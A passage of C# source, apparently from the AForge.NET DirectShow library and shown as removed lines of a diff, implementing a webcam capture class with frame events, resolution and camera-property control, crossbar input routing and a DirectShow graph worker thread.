- } - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Snapshot frame event. - /// - /// - /// Notifies clients about new available snapshot frame - the one which comes when - /// camera's snapshot/shutter button is pressed. - /// - /// See documentation to for additional information. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - /// - /// - public event NewFrameEventHandler SnapshotFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// Video source is represented by moniker string of video capture device. - /// - public virtual string Source - { - get { return deviceMoniker; } - set - { - deviceMoniker = value; - - videoCapabilities = null; - snapshotCapabilities = null; - crossbarVideoInputs = null; - isCrossbarAvailable = null; - } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredFrameSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredSnapshotSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use. - /// - /// - /// The property is obsolete. Setting this property does not have any effect. - /// - [Obsolete] - public int DesiredFrameRate - { - get { return 0; } - set { } - } - - /// - /// Video resolution to set. - /// - /// - /// The property allows to set one of the video resolutions supported by the camera. - /// Use property to get the list of supported video resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default video - /// resolution is used. - /// - /// - public VideoCapabilities VideoResolution - { - get { return videoResolution; } - set { videoResolution = value; } - } - - /// - /// Snapshot resolution to set. - /// - /// - /// The property allows to set one of the snapshot resolutions supported by the camera. - /// Use property to get the list of supported snapshot resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default snapshot - /// resolution is used. - /// - /// - public VideoCapabilities SnapshotResolution - { - get { return snapshotResolution; } - set { snapshotResolution = value; } - } - - /// - /// Video capabilities of the device. - /// - /// - /// The property provides list of device's video capabilities. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoCapabilities[] VideoCapabilities - { - get - { - if ( videoCapabilities == null ) - { - lock ( cacheVideoCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - videoCapabilities = cacheVideoCapabilities[deviceMoniker]; - } - } - - if ( videoCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Snapshot capabilities of the device. - /// - /// - /// The property provides list of device's snapshot capabilities. - /// - /// If the array has zero length, then it means that this device does not support making - /// snapshots. - /// - /// See documentation to for additional information. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - /// - /// - public VideoCapabilities[] SnapshotCapabilities - { - get - { - if ( snapshotCapabilities == null ) - { - lock ( cacheSnapshotCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; - } - } - - if ( snapshotCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Source COM object of camera capture device. - /// - /// - /// The source COM object of camera capture device is exposed for the - /// case when user may need get direct access to the object for making some custom - /// configuration of camera through DirectShow interface, for example. - /// - /// - /// If camera is not running, the property is set to . - /// - /// - public object SourceObject - { - get { return sourceObject; } - } - - /// - /// Initializes a new instance of the class. - /// - /// - public VideoCaptureDevice( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Moniker string of video capture device. - /// - public VideoCaptureDevice( string deviceMoniker ) - { - this.deviceMoniker = deviceMoniker; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( string.IsNullOrEmpty( deviceMoniker ) ) - throw new ArgumentException( "Video source is not specified." ); - - framesReceived = 0; - bytesReceived = 0; - isCrossbarAvailable = null; - needToSetVideoInput = true; - - // create events - stopEvent = new ManualResetEvent( false ); - - lock ( sync ) - { - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = deviceMoniker; // mainly for debugging - thread.Start( ); - } - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - /// - /// Display property window for the video capture device providing its configuration - /// capabilities. - /// - /// - /// Handle of parent window. - /// - /// If you pass parent window's handle to this method, then the - /// displayed property page will become modal window and none of the controls from the - /// parent window will be accessible. In order to make it modeless it is required - /// to pass as parent window's handle. - /// - /// - /// - /// The video source does not support configuration property page. - /// - public void DisplayPropertyPage( IntPtr parentWindow ) - { - // check source - if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) - throw new ArgumentException( "Video source is not specified." ); - - lock ( sync ) - { - if ( IsRunning ) - { - // pass the request to backgroud thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayPropertyPage = true; - return; - } - - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is ISpecifyPropertyPages ) ) - { - throw new NotSupportedException( "The video source does not support configuration property page." ); - } - - DisplayPropertyPage( parentWindow, tempSourceObject ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - } - - /// - /// Display property page of video crossbar (Analog Video Crossbar filter). - /// - /// - /// Handle of parent window. - /// - /// The Analog Video Crossbar filter is modeled after a general switching matrix, - /// with n inputs and m outputs. For example, a video card might have two external connectors: - /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on - /// the filter. The displayed property page allows to configure the crossbar by selecting input - /// of a video card to use. - /// - /// This method can be invoked only when video source is running ( is - /// ). Otherwise it generates exception. - /// - /// Use method to check if running video source provides - /// crossbar configuration. - /// - /// - /// The video source must be running in order to display crossbar property page. - /// Crossbar configuration is not supported by currently running video source. - /// - public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) - { - lock ( sync ) - { - // wait max 5 seconds till the flag gets initialized - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) - { - Thread.Sleep( 10 ); - } - - if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) - { - throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); - } - - if ( !isCrossbarAvailable.Value ) - { - throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); - } - - // pass the request to background thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayCrossBarPropertyPage = true; - } - } - - /// - /// Check if running video source provides crossbar for configuration. - /// - /// - /// Returns if crossbar configuration is available or - /// otherwise. - /// - /// The method reports if the video source provides crossbar configuration - /// using . - /// - /// - public bool CheckIfCrossbarAvailable( ) - { - lock ( sync ) - { - if ( !isCrossbarAvailable.HasValue ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - - return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; - } - } - - - /// - /// Simulates an external trigger. - /// - /// - /// The method simulates external trigger for video cameras, which support - /// providing still image snapshots. The effect is equivalent as pressing camera's shutter - /// button - a snapshot will be provided through event. - /// - /// The property must be set to - /// to enable receiving snapshots. - /// - /// - public void SimulateTrigger( ) - { - needToSimulateTrigger = true; - } - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Set( property, value, controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives the value indicating whether the setting is controlled manually or automatically - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Get( property, out value, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Worker thread. - /// - /// - private void WorkerThread( ) - { - WorkerThread( true ); - } - - private void WorkerThread( bool runGraph ) - { - ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; - bool isSapshotSupported = false; - - // grabber - Grabber videoGrabber = new Grabber( this, false ); - Grabber snapshotGrabber = new Grabber( this, true ); - - // objects - object captureGraphObject = null; - object graphObject = null; - object videoGrabberObject = null; - object snapshotGrabberObject = null; - object crossbarObject = null; - - // interfaces - ICaptureGraphBuilder2 captureGraph = null; - IFilterGraph2 graph = null; - IBaseFilter sourceBase = null; - IBaseFilter videoGrabberBase = null; - IBaseFilter snapshotGrabberBase = null; - ISampleGrabber videoSampleGrabber = null; - ISampleGrabber snapshotSampleGrabber = null; - IMediaControl mediaControl = null; - IAMVideoControl videoControl = null; - IMediaEventEx mediaEvent = null; - IPin pinStillImage = null; - IAMCrossbar crossbar = null; - - try - { - // get type of capture graph builder - Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); - if ( type == null ) - throw new ApplicationException( "Failed creating capture graph builder" ); - - // create capture graph builder - captureGraphObject = Activator.CreateInstance( type ); - captureGraph = (ICaptureGraphBuilder2) captureGraphObject; - - // get type of filter graph - type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); - if ( type == null ) - throw new ApplicationException( "Failed creating filter graph" ); - - // create filter graph - graphObject = Activator.CreateInstance( type ); - graph = (IFilterGraph2) graphObject; - - // set filter graph to the capture graph builder - captureGraph.SetFiltergraph( (IGraphBuilder) graph ); - - // create source device's object - sourceObject = FilterInfo.CreateFilter( deviceMoniker ); - if ( sourceObject == null ) - throw new ApplicationException( "Failed creating device object for moniker" ); - - // get base filter interface of source device - sourceBase = (IBaseFilter) sourceObject; - - // get video control interface of the device - try - { - videoControl = (IAMVideoControl) sourceObject; - } - catch - { - // some camera drivers may not support IAMVideoControl interface - } - - // get type of sample grabber - type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); - if ( type == null ) - throw new ApplicationException( "Failed creating sample grabber" ); - - // create sample grabber used for video capture - videoGrabberObject = Activator.CreateInstance( type ); - videoSampleGrabber = (ISampleGrabber) videoGrabberObject; - videoGrabberBase = (IBaseFilter) videoGrabberObject; - // create sample grabber used for snapshot capture - snapshotGrabberObject = Activator.CreateInstance( type ); - snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; - snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; - - // add source and grabber filters to graph - graph.AddFilter( sourceBase, "source" ); - graph.AddFilter( videoGrabberBase, "grabber_video" ); - graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); - - // set media type - AMMediaType mediaType = new AMMediaType( ); - mediaType.MajorType = MediaType.Video; - mediaType.SubType = MediaSubType.RGB24; - - videoSampleGrabber.SetMediaType( mediaType ); - snapshotSampleGrabber.SetMediaType( mediaType ); - - // get crossbar object to to allows configuring pins of capture card - captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); - if ( crossbarObject != null ) - { - crossbar = (IAMCrossbar) crossbarObject; - } - isCrossbarAvailable = ( crossbar != null ); - crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); - - if ( videoControl != null ) - { - // find Still Image output pin of the vedio device - captureGraph.FindPin( sourceObject, PinDirection.Output, - PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); - // check if it support trigger mode - if ( pinStillImage != null ) - { - VideoControlFlags caps; - videoControl.GetCaps( pinStillImage, out caps ); - isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); - } - } - - // configure video sample grabber - videoSampleGrabber.SetBufferSamples( false ); - videoSampleGrabber.SetOneShot( false ); - videoSampleGrabber.SetCallback( videoGrabber, 1 ); - - // configure snapshot sample grabber - snapshotSampleGrabber.SetBufferSamples( true ); - snapshotSampleGrabber.SetOneShot( false ); - snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); - - // configure pins - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.Capture, videoResolution, ref videoCapabilities ); - if ( isSapshotSupported ) - { - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); - } - else - { - snapshotCapabilities = new VideoCapabilities[0]; - } - - // put video/snapshot capabilities into cache - lock ( cacheVideoCapabilities ) - { - if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); - } - } - lock ( cacheSnapshotCapabilities ) - { - if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); - } - } - - if ( runGraph ) - { - // render capture pin - captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); - - if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - videoGrabber.Width = vih.BmiHeader.Width; - videoGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - // render snapshot pin - captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); - - if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - snapshotGrabber.Width = vih.BmiHeader.Width; - snapshotGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - } - - // get media control - mediaControl = (IMediaControl) graphObject; - - // get media events' interface - mediaEvent = (IMediaEventEx) graphObject; - IntPtr p1, p2; - DsEvCode code; - - // run - mediaControl.Run( ); - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - startTime = DateTime.Now; - videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); - } - - do - { - if ( mediaEvent != null ) - { - if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) - { - mediaEvent.FreeEventParams( code, p1, p2 ); - - if ( code == DsEvCode.DeviceLost ) - { - reasonToStop = ReasonToFinishPlaying.DeviceLost; - break; - } - } - } - - if ( needToSetVideoInput ) - { - needToSetVideoInput = false; - // set/check current input type of a video card (frame grabber) - if ( isCrossbarAvailable.Value ) - { - SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToSimulateTrigger ) - { - needToSimulateTrigger = false; - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); - } - } - - if ( needToDisplayPropertyPage ) - { - needToDisplayPropertyPage = false; - DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); - - if ( crossbar != null ) - { - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToDisplayCrossBarPropertyPage ) - { - needToDisplayCrossBarPropertyPage = false; - - if ( crossbar != null ) - { - DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - } - while ( !stopEvent.WaitOne( 100, false ) ); - - mediaControl.Stop( ); - } - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - } - finally - { - // release all objects - captureGraph = null; - graph = null; - sourceBase = null; - mediaControl = null; - videoControl = null; - mediaEvent = null; - pinStillImage = null; - crossbar = null; - - videoGrabberBase = null; - snapshotGrabberBase = null; - videoSampleGrabber = null; - snapshotSampleGrabber = null; - - if ( graphObject != null ) - { - Marshal.ReleaseComObject( graphObject ); - graphObject = null; - } - if ( sourceObject != null ) - { - Marshal.ReleaseComObject( sourceObject ); - sourceObject = null; - } - if ( videoGrabberObject != null ) - { - Marshal.ReleaseComObject( videoGrabberObject ); - videoGrabberObject = null; - } - if ( snapshotGrabberObject != null ) - { - Marshal.ReleaseComObject( snapshotGrabberObject ); - snapshotGrabberObject = null; - } - if ( captureGraphObject != null ) - { - Marshal.ReleaseComObject( captureGraphObject ); - captureGraphObject = null; - } - if ( crossbarObject != null ) - { - Marshal.ReleaseComObject( crossbarObject ); - crossbarObject = null; - } - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, reasonToStop ); - } - } - - // Set resolution for the specified stream configuration - private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) - { - if ( resolution == null ) - { - return; - } - - // iterate through device's capabilities to find mediaType for desired resolution - int capabilitiesCount = 0, capabilitySize = 0; - AMMediaType newMediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); - - for ( int i = 0; i < capabilitiesCount; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); - - if ( resolution == vc ) - { - if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) - { - break; - } - } - } - catch - { - } - } - - // set the new format - if ( newMediaType != null ) - { - streamConfig.SetFormat( newMediaType ); - newMediaType.Dispose( ); - } - } - - // Configure specified pin and collect its capabilities if required - private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, - Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) - { - object streamConfigObject; - graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); - - if ( streamConfigObject != null ) - { - IAMStreamConfig streamConfig = null; - - try - { - streamConfig = (IAMStreamConfig) streamConfigObject; - } - catch ( InvalidCastException ) - { - } - - if ( streamConfig != null ) - { - if ( capabilities == null ) - { - try - { - // get all video capabilities - capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); - } - catch - { - } - } - - // check if it is required to change capture settings - if ( resolutionToSet != null ) - { - SetResolution( streamConfig, resolutionToSet ); - } - } - } - - // if failed resolving capabilities, then just create empty capabilities array, - // so we don't try again - if ( capabilities == null ) - { - capabilities = new VideoCapabilities[0]; - } - } - - // Display property page for the specified object - private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) - { - try - { - // retrieve ISpecifyPropertyPages interface of the device - ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; - - // get property pages from the property bag - CAUUID caGUID; - pPropPages.GetPages( out caGUID ); - - // get filter info - FilterInfo filterInfo = new FilterInfo( deviceMoniker ); - - // create and display the OlePropertyFrame - Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); - - // release COM objects - Marshal.FreeCoTaskMem( caGUID.pElems ); - } - catch - { - } - } - - // Collect all video inputs of the specified crossbar - private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) - { - return cacheCrossbarVideoInputs[deviceMoniker]; - } - - List videoInputsList = new List( ); - - if ( crossbar != null ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - // collect all video inputs - for ( int i = 0; i < inPinsCount; i++ ) - { - int pinIndexRelated; - PhysicalConnectorType type; - - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type < PhysicalConnectorType.AudioTuner ) - { - videoInputsList.Add( new VideoInput( i, type ) ); - } - } - } - } - - VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; - videoInputsList.CopyTo( videoInputs ); - - cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); - - return videoInputs; - } - } - - // Get type of input connected to video output of the crossbar - private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) - { - VideoInput videoInput = VideoInput.Default; - - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - if ( videoOutputPinIndex != -1 ) - { - int videoInputPinIndex; - - // get index of the input pin connected to the output - if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) - { - PhysicalConnectorType inputType; - - crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); - - videoInput = new VideoInput( videoInputPinIndex, inputType ); - } - } - } - - return videoInput; - } - - // Set type of input connected to video output of the crossbar - private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) - { - if ( videoInput.Type != PhysicalConnectorType.Default ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int videoInputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - // find index of the required input pin - for ( int i = 0; i < inPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) - { - videoInputPinIndex = i; - break; - } - } - - // try connecting pins - if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && - ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) - { - crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); - } - } - } - } - - /// - /// Notifies clients about new frame. - /// - /// - /// New frame's image. - /// - private void OnNewFrame( Bitmap image ) - { - framesReceived++; - bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); - - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) - NewFrame( this, new NewFrameEventArgs( image ) ); - } - - /// - /// Notifies clients about new snapshot frame. - /// - /// - /// New snapshot's image. - /// - private void OnSnapshotFrame( Bitmap image ) - { - TimeSpan timeSinceStarted = DateTime.Now - startTime; - - // TODO: need to find better way to ignore the first snapshot, which is sent - // automatically (or better disable it) - if ( timeSinceStarted.TotalSeconds >= 4 ) - { - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) - SnapshotFrame( this, new NewFrameEventArgs( image ) ); - } - } - - // - // Video grabber - // - private class Grabber : ISampleGrabberCB - { - private VideoCaptureDevice parent; - private bool snapshotMode; - private int width, height; - - // Width property - public int Width - { - get { return width; } - set { width = value; } - } - // Height property - public int Height - { - get { return height; } - set { height = value; } - } - - // Constructor - public Grabber( VideoCaptureDevice parent, bool snapshotMode ) - { - this.parent = parent; - 